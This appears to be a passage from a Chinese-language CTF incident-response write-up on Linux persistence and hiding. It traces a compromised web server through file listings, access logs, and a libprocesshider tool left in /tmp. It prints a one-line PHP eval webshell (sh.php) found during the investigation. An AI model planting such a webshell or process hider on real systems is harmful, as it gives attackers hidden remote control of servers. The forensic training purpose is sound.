第三章 权限维持 linux 权限维持 - 隐藏
1
黑客隐藏的隐藏的文件 完整路径 md5
有一点比较好,题目这么说明的话,至少文件隐藏技术不会是 rootkit
在靶机内进行基础的信息收集,发现有 web 服务
root@xuanji:/tmp/.temp/libprocesshider# ls -laig /var/www/html/
total 508
43807940 drwxrwxrwx. 1 www-data 99 Aug 1 2023 .
33813010 drwxr-xr-x. 1 root 18 Jul 31 2023 ..
33811524 -rwxrwxrwx. 1 www-data 8371 Jul 20 2023 Writenote.php
43807941 -rw-r--r--. 1 www-data 483403 Aug 1 2023 adminer.php
33811525 -rwxrwxrwx. 1 www-data 124 Jul 20 2023 common.php
43797312 drwxrwxrwx. 1 www-data 79 Jul 20 2023 css
51371096 drwxrwxrwx. 1 www-data 39 Jul 20 2023 images
33811526 -rwxrwxrwx. 1 www-data 2624 Jul 20 2023 index.php
60152836 drwxrwxrwx. 1 www-data 104 Jul 20 2023 js
33811527 -rwxrwxrwx. 1 root 0 Jul 31 2023 log.php
33811528 -rwxrwxrwx. 1 www-data 8055 Jul 20 2023 search.php
43807942 -rw-rw-rw-. 1 mysql 73 Aug 1 2023 sh.php
43807943 -rw-rw-rw-. 1 mysql 0 Aug 1 2023 tmpubzil.php
43807944 -rw-rw-rw-. 1 mysql 0 Aug 1 2023 tmputsrv.php
43807945 -rw-rw-rw-. 1 mysql 0 Aug 1 2023 tmpuvdzm.php
在其中匹配到了一个 webshell 文件
root@xuanji:/var/www/html# grep -rnw *.php -e 'eval'
sh.php:1:1 2 <?php @eval($_POST['a']);?> 4
查看 web 服务的日志,过滤出 sh.php
文件的访问记录
root@xuanji:/var/log/apache2# cat access.log | grep "sh.php"
192.168.200.2 - - [01/Aug/2023:02:02:31 +0000] "POST /sh.php HTTP/1.1" 200 461 "-" "Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/22.0"
192.168.200.2 - - [01/Aug/2023:02:05:14 +0000] "POST /sh.php HTTP/1.1" 200 461 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:21.0.0) Gecko/20121011 Firefox/21.0.0"
192.168.200.2 - - [01/Aug/2023:02:05:16 +0000] "POST /sh.php HTTP/1.1" 200 349 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36"
192.168.200.2 - - [01/Aug/2023:02:05:29 +0000] "POST /sh.php HTTP/1.1" 200 2840 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27"
192.168.200.2 - - [01/Aug/2023:02:05:36 +0000] "POST /sh.php HTTP/1.1" 200 2920 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36"
192.168.200.2 - - [01/Aug/2023:02:05:38 +0000] "POST /sh.php HTTP/1.1" 200 392 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)"
192.168.200.2 - - [01/Aug/2023:02:05:52 +0000] "POST /sh.php HTTP/1.1" 200 314 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0"
192.168.200.2 - - [01/Aug/2023:02:05:54 +0000] "POST /sh.php HTTP/1.1" 200 315 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36"
192.168.200.2 - - [01/Aug/2023:02:06:18 +0000] "POST /sh.php HTTP/1.1" 200 429 "-" "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52"
192.168.200.2 - - [01/Aug/2023:02:06:20 +0000] "POST /sh.php HTTP/1.1" 200 374 "-" "Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/5.0 Opera 11.11"
192.168.200.2 - - [01/Aug/2023:02:06:31 +0000] "POST /sh.php HTTP/1.1" 200 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F"
192.168.200.2 - - [01/Aug/2023:02:06:33 +0000] "POST /sh.php HTTP/1.1" 200 220 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27"
192.168.200.2 - - [01/Aug/2023:02:06:34 +0000] "POST /sh.php HTTP/1.1" 200 428 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)"
192.168.200.2 - - [01/Aug/2023:02:07:28 +0000] "POST /sh.php HTTP/1.1" 200 463 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36"
192.168.200.2 - - [01/Aug/2023:02:07:30 +0000] "POST /sh.php HTTP/1.1" 200 206 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4"
192.168.200.2 - - [01/Aug/2023:02:07:31 +0000] "POST /sh.php HTTP/1.1" 200 474 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0"
192.168.200.2 - - [01/Aug/2023:02:08:17 +0000] "POST /sh.php HTTP/1.1" 200 332 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27"
192.168.200.2 - - [01/Aug/2023:02:08:20 +0000] "POST /sh.php HTTP/1.1" 200 245 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36"
192.168.200.2 - - [01/Aug/2023:02:17:05 +0000] "POST /sh.php HTTP/1.1" 200 416 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36"
192.168.200.2 - - [01/Aug/2023:02:17:09 +0000] "POST /sh.php HTTP/1.1" 200 470 "-" "Opera/9.80 (X11; Linux i686; U; fr) Presto/2.7.62 Version/11.01"
192.168.200.2 - - [01/Aug/2023:02:17:10 +0000] "POST /sh.php HTTP/1.1" 200 209 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0"
很可惜,没有记录下来 POST 的数据
继续排查,发现 /tmp
目录下存在有进程隐藏工 具
root@xuanji:/tmp/.temp/libprocesshider# ls -laih
total 24K
43807955 drwxr-xr-x. 3 root root 119 Aug 3 2023 .
33813034 drwxr-xr-x. 3 root root 29 Aug 3 2023 ..
51380996 drwxr-xr-x. 8 root root 163 Aug 3 2023 .git
43807964 -rw-r--r--. 1 root root 20 Aug 3 2023 .gitignore
43807965 -rwxr-xr-x. 1 root root 826 Aug 3 2023 1.py
43807966 -rw-r--r--. 1 root root 168 Aug 3 2023 Makefile
43807967 -rw-r--r--. 1 root root 2.9K Aug 3 2023 README.md
43807968 -rw-r--r--. 1 root root 3.4K Aug 3 2023 processhider.c
43807969 -rw-r--r--. 1 root root 243 Aug 3 2023 shell.py